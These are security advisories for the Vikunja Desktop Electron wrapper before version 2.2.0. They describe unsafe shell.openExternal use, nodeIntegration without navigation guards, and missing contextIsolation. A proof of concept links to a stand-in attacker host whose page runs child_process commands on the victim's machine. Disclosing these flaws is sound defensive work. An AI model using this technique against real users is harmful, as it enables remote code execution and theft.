Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper passes URLs from window.open() calls directly to shell.openExternal() without any validation or protocol allowlisting. An attacker who can place a link with target="blank" (or that otherwise triggers window.open) in user-generated content can cause the victim's operating system to open arbitrary URI schemes, invoking local applications, opening local files, or triggering custom protocol handlers. Version 2.2.0 patches the issue.
Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables nodeIntegration in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.
Root cause
Two misconfigurations combine to create this vulnerability:
1. nodeIntegration: true is set in BrowserWindow web preferences (desktop/main.js:14-16), giving any page loaded in the renderer full access to Node.js APIs (require, childprocess, fs, etc.).
2. No will-navigate or will-redirect handler is registered on the webContents. The existing setWindowOpenHandler (desktop/main.js:19-23) only intercepts window.open() calls (new-window requests). It does not intercept same-window navigations triggered by: - <a href="https://..."> links (without target="blank") - window.location assignments - HTTP redirects - <meta http-equiv="refresh"> tags
Attack scenario
1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project). 2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: <a href="https://evil.example/exploit">Click here for the updated design spec</a> 3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: frontend/src/views/project/ProjectInfo.vue uses v-html with DOMPurify-sanitized output. 4. The victim uses Vikunja Desktop and clicks the link. 5. Because no will-navigate handler exists, the BrowserWindow navigates to https://evil.example/exploit in the same renderer process. 6. The attacker's page now executes in a context with nodeIntegration: true and runs: require('childprocess').exec('id > /tmp/pwned'); 7. Arbitrary commands execute as the victim's OS user.
Impact
Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.
Proof of concept
1. Set up a Vikunja instance with two users sharing a project. 2. As the attacker user, edit a project description to include: <a href="https://attacker.example/poc.html">Meeting notes</a> 3. Host poc.html with: <script>require('childprocess').exec('calc.exe')</script> 4. As the victim, open the project in Vikunja Desktop and click the link. 5. calc.exe (or any other command) executes on the victim's machine.
Credits
This vulnerability was found using GitHub Security Lab Taskflows.
Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables nodeIntegration in the renderer process without contextIsolation or sandbox. This means any cross-site scripting (XSS) vulnerability in the Vikunja web frontend -- present or future -- automatically escalates to full remote code execution on the victim's machine, as injected scripts gain access to Node.js APIs. Version 2.2.0 fixes the issue.